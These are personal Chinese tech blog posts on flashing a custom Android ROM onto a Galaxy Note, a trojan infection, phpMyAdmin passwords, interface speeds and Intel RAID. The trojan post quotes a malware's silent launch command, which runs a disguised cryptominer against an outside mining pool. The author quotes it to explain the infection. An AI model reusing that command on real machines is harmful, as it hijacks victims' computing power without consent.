Galaxy Note 升級 Android 4.4.2

最近我的手機把 data 分區用爆了, 就算是開了 link2SD 也無濟於事, 剩餘空間慢慢逼近個位數, 有一次看到只剩 8 MB. 難道我該換手機了嗎? 根本都是三星那些用不到的 APP 在占空間嘛! 我已經把我自己的 APP 砍到只剩導航,dropbox, evernote 和一個小遊戲, 像是 facebook, tuneIn, acrobat reader 都已經壯烈犧牲了, 難道我以後只能接電話了嗎? 所謂怒從心頭起,惡向膽邊生. 二話不說, 上網看了一下秘笈, 就把手機重灌了. 反正變磚就換手機!!!

一般重灌的步驟就是要先 root. Root 大概的內容就是取得 system 分區的寫入權限, 然後透過一個 APP, 讓其他的 APP 也具有寫入的權力. 這個我以前就做過了, 所以先跳過了這一步! 接下來, 比較古典的做法是 Odin3 這類的軟體, 自己把需要的 binary image 燒到手機的 FLASH 裡面. 不過現在時代進步了, 只要先安裝一個免費的 ROM Manager APK, 就可以在手機上操作, 甚至幾乎可以不用倚賴電腦 [1].

參考 [ref 1] 的做法, 行前準備包括:

1. 備份!有聰明的刷機軟體可以把幾乎所有的東西都備份起來.我有試過三星原廠的 Kies, 但它的連線能力太弱, 其實很難用. 像是金山手機助手, 刷機精靈都會搶走它的 port, 讓它只會空轉.至於行事曆, 聯絡人, 讓 Google 備份就很好用了.

2. 手機充好電, 因為有些過程不能和電腦連線, 也就不能充電.

3. 把 USB 設為 debug mode (在 setting 裡面)

4. 上面幾點都沒有技術難度, 最重要的一點就是要破 security boot. 我們要找到原廠相容的 bootloader 覆蓋上去, 這樣手機才不會排斥新安裝的系統軟體. Bootloader 主要的工作就是判斷系統軟體 image 檔案的簽名, 所以不是原廠的 image, 就不給安裝. 原來這也可以說是一番好意, 不過在原廠死都不給我們升級的情況下, 這就變成限制了.

由於 bootloader 帶有系統硬體的資訊, 因此過去要找這東西相當辛苦. 不過現在世界變小了, ROM Manager 就可以幫大家找適合的 bootloader. 使用者只要從幾個可能的型號中, 選出自己的手機就好了. 接下來它就會用 OTA (over the air) 下載. 這個 botloader 一般都很小, 只有幾百的 K Bytes, 再用 ROM Manager 重開機後, 刷進去就 OK 了. 下次看到的 bootloader 就不是 Android 的那個陽春但是會檢查簽名的 (recovery) bootloader.  

不過, 不知道是否我的步驟跳太快了 (可能是潛意識想換機, 怕它刷不死!), ROM Manager 一直無法把新的 bootloader 燒進去! 所謂新的 bootloader 有兩種 UI, 一種是 ClockworkMod Recovery, 另外一種是 TWRP (TeamWin Recovery Project). 後者的 UI 比較漂亮. 因為刷不了 bootloader, system 分區就改不了, 只能把 data 分區換成新的 GAPP! 但即使是這樣, 我的問題也解決了. 那些不見的 data 分區空間回來了, 忽然就多了 1.5 GBytes 的容量! 系統跑起來也變得順很多, 去設定 (setting) 裡面的 "關於手機" 看版號, 原來是退回了原生的 4.1.2 版本. 

當然, 我們工程師不能只做半套.說好的 Android 4.4 一定要灌進去! 於是我找到了大陸做的刷機精靈, 用它所謂的一鍵 Root 重新 root 一遍! (此時就需要 USB 連線到 PC 了) 它搞了非常之久, 我還以為這次鐵定變磚了. 不過並沒有, 它 root 完之後, 再重新開機, 我終於看到 TWRF 的 UI. 刷機精靈正常的下一步是進入一鍵刷機. 此時我眼尖地發現它把我的手機認成 i9300 了. i9300 不就是 S3 嗎? 我的手機可沒那麼高級! 於是我手動把手機型號訂正了, 刷機精靈還警告我這樣亂改型號, 刷壞了它不負責.誰怕! 一縷清煙任憑升! 難不成會燒起來.

改好型號之後, 刷機精靈很貼心地 "小編推薦" 一個 4.4 的 image 給我, 我就順手下載了. 按按鈕是很順手, 但是下載過程真的很久.後續動作主要是把 data 分區和 cache 分區清掉, 把系統分區和 data 分區的 zip 檔放進手機的 SD 卡, 接下來 TWRP 或是 CKM recovery 就可以將它刷進 FLASH! 順利刷完機之後, 一支帶有大陸味的 Android 4.4 手機就誕生了. 試用了一下, 感覺還不錯! 可惜的是相容性有點問題! 首先就是大陸的 Galaxy Note 叫做 i9220, 台灣叫做 N7000, 它的 return 鍵定義似乎不一樣, 所以我就沒 return 鍵了, 只能按 home 鍵再進去一次. 第二個問題是它沒有 Google Play, 這個我可以重灌倒是還好!

無奈之餘, 我重灌了 [ref 1] 所謂的 satble version Android 4.4.2. 一回生二回熟, 兩三下就解決! 這次就是有洋味的 Android, 輸入法得要重灌. 當然裡面還是有被強迫灌的系統軟體, 像是 pie control. 不過數量級比三星小太多了, 我還是得到了大約 1.5 GByte 的 data 分區可以用. 而且 Google 把我的 APP 都自動還原了, 這點真的很方便. 升級山寨版 ROM 的主要缺點就是耗電變兇了. 大概一顆電池只能撐 4 個小時左右? 個人覺得這還是比卡爆好.

最後提醒大家一點: ROM Manager 有免費版, 點進去有 touch 版要付費 79 (?) NTD, 還有 pro 版, premium 版. 請記得都不要買, 因為不需要. 那個 touch 版更是白花了我的錢, 感覺沒甚麼好處~~~ 祝大家刷機成功!

[ref]

1. http://www.ibtimes.com/android-442-kitkat-samsung-galaxy-note-gt-n7000-how-install-it-using-lightning-custom-rom-tutorial

2. 刷機精靈

木馬病毒小記錄

前陣子看到開機之後, 都會有一個 spoolv 佔了系統 80% 的運算量, 把它砍掉之後就好了. 雖然知道是病毒, 但還是不明就裡?

結果昨天不但在 windows 底下看到 panther 病毒的目錄, 還看到一個 mix 目錄, 裡面就有 spoolv. 再找一找, 也在 c: 的根目錄找到一個 iexplore.exe, 也在啟動裡面找到它的發動機 – sh 檔.

它的感染流程我還不知道 – 沒有像百度千千靜聽和 QVOD 會導致 hao123、sanpdo、QVO6 …那麼明顯, 但是啟動流程大致就是由 Windows 啟動時的 shell script 帶頭, 執行下面一段指令.

%SystemRoot%mixhstart.exe /NOCONSOLE /SILENT /D="%SystemRoot%mixspoolv32" /HIGH "%SystemRoot%mixspoolv32iexplorer.exe -o stratum+tcp://cat.or.gs:3333 -O geox.1:x"

簡單地說, 它要到 c:windowsmix 底下執行 hstart.exe, 然後跑一個很小的 iexplore.exe. 從工作管理員看來, 只會看到這個熟悉名字, 一時不會覺得奇怪.不過若是去點它的 "內容" –> "數位簽章", 就知道這不是 Microsoft 發行的.

我覺得它最厲害的地方就是 tcp 到 cat.or.gs 了.這個 ip (162.212.255.218) 看起來是大陸的, 也就是收集資料的主機. 但它怎麼能確定 port 3333 是開著的呢? 因為它主動把防火牆給關了.因此防火牆被關也是一個重要徵兆.

至於 Panther 應該和它們不是同一個家族, 不過它的名氣也比較大.比較容易被防毒軟體認出來. 我的 Norton 或是趨勢的防毒軟體都沒抓到那個假 iexplore.exe, 後者只有在它執行的時候, 才會問要不要封鎖而已.

[20140228 補充]

1. 基本上, 趨勢的 PCcillin 是比較抓不到病毒的. 相形之下, Panda Antivirus Pro 試用版可以在 PCcillin 之後又抓出 14 個病毒. 當我再換成 Norton Antivirus 之後, Norton 說要把 PCcillin 反安裝, 但是它卻不排斥貓雄.

金山毒霸廣提示視窗然多, 但是它在貓熊和 Norton 之後還找出更多的病毒, 只是有個 Microsoft.com 病毒消不掉. 當三個防毒軟體病毒同時存在時, 貓熊就被排斥了, 一開起來就閃退. Norton 和毒霸相安無事.

phpMyAdmin 的權限設定

昨天又找到 wordpress 的 phpMyAdmin 底下被放了一些木馬執行檔, 我在想: 到底 wordpress 到底有哪些地方容易有後門呢?想著想著, 就看到 phpMyAdmin 裡面的權限.

咦? production.mysql.com 的 root 不用密碼就可以登入耶, 這不是個大漏洞嗎?只要先謊報一個 DNS, 自稱是 production.mysql.com, 就可以堂而皇之地登入了. 但這是安裝的預設值, 我也不敢把這個帳號刪掉, 所以我就幫它加了個密碼, 看起來沒事.

接著就把 localhost 的密碼也改了, 結果看到 “建立資料庫連線時發生錯誤". 雖然這個密碼是可以改的, 但是和 wp-config.php 裡面寫得不一樣. 這麼一來, wordpress 就無法透過 phpMyAdmin 去取用 MySQL 裡面的資料庫了. 所以兩者要同時修改才可以.

界面速度對照表

今天有考慮要買 PCI 的 USB 3.0 擴充卡, 店家有賣 2 port 的, 也有 4 port 的. 但直覺上, PCI 的速度並不是 USB 3.0 的 4 倍, 買 4 port 的其實沒有什麼好. 僅僅是湊個數量, 如果要 4 個 USB 3.0 同時動起來就悲劇了. 尤其若是把 PCI 擴充卡的 USB 又拿去接外接硬碟盒, 效率將會非常低.

為了避免自己記不住類似的事, 乾脆做一張表. 首先把每個規格的速度列出來. 然後和其他規格 PK 一下. 看看它對應到其他規格的哪個版本之上! 在那之下或是和自己比的就用 N/A 代替.

I/F

Version

Gbps

PCI-E

USB

SATA

PCI-E 

1.0

2

N/A

> 2.0

> 1.0

1.0a

1.1

2.0

4

> 2.0

2.1

3.0

8

> 3.0

> 3.0

4.0

16

> 3.1

USB

1.0

0.0015

N/A

N/A

N/A

1.1

0.012

2.0

0.48

3.0

5

> 2.1

> 2.0

3.1

10

> 3.0

> 3.0

SATA

1.0

1.5

N/A

> 2.0

N/A

2.0

3

> 1.1

3.0

6

> 2.0

> 3.0

 

Intel Rapid Storage Technology 小補充

這兩天用了 Intel 的 RAID 1, 發現有幾件事情很重要.

1. 在 BIOS 階段要設定 RAID 時, 一定要看到 Volume 的狀態變成 rebuild, 進去 Windows 之後, 它才會做 rebuild. 如果只是看到兩個 member disk, 內容若是不一致, Windows 不確定以誰為主, 會開不了機.

2. 在 Windows 下可以安裝 Intel Rapid Storage Technology (IRST) 的管理軟體 [1], 此時可以視覺化管理 RAID. 不過對於開機磁碟做成的 RAID, 能夠控制的地方很少, 充其量就是很快地建 RAID,  然後把它設為 RAID 1/5/10 之類的.

3. 當有一個 RAID 1 硬碟有錯誤, IRST 管理軟體會把這個硬碟標為黃色驚嘆號 (如下圖). 更神奇地是, 我們可以手動把狀態不正常的硬碟標示為正常. 不過若是這個硬碟真的有問題, 待會兒就不能開機了. 所以此時千萬不要手賤!

intel1

4. 這邊看到我用了 SATA 3 當 disk 0, 不過它竟然只有 1.5G bps. 仔細看了下我的布線, 因為這顆硬碟位置比較遠, 我用了一個 SATA 延長線, 所以 6 G bps 就降為 1.5 G bps. 把硬碟位置乾坤大挪移後, 速度就回來了.

5. 雖然我們在 BIOS 階段已經設好 rebuild, 但是 Win 8 底下的 IRST 軟體並不會自動 rebuild. 還是要手動去按. 雖然它可以設為自動 (在喜好設定裡), 不過手動還是比較安全的.

6. rebuild 的過程非常地長, 我估計大概有 8 小時吧! (或許是 1.5 G bps 惹得禍). 我因為是初學, 還沒有等 rebuild 完就打開系統自動更新之類的, 如果在這個期間發生重新開機, RAID 並不會提示我們. 結果一重開機, 還沒 rebuild 完的那顆就會被標成 error. 這就是先前為何我會一直看到有 error 的原因. 因此, 開始 rebuild 後就要耐心等待, 切勿做任何會重新開機的事以策安全.

intel2

7. IRST 有個地方很有趣, 它把我為重建完的磁碟標示成遺失, 而還在 rebuild 的那顆也存在, 所以先前的圖上看起來有三顆硬碟, 其實只有兩顆. 不過等到上面這張圖上的重現完成到 100% 後, 在重新開機, 那顆遺失的硬碟就不會再出現了.

[ref]

1. Intel Rapid Storage Technolog Download Center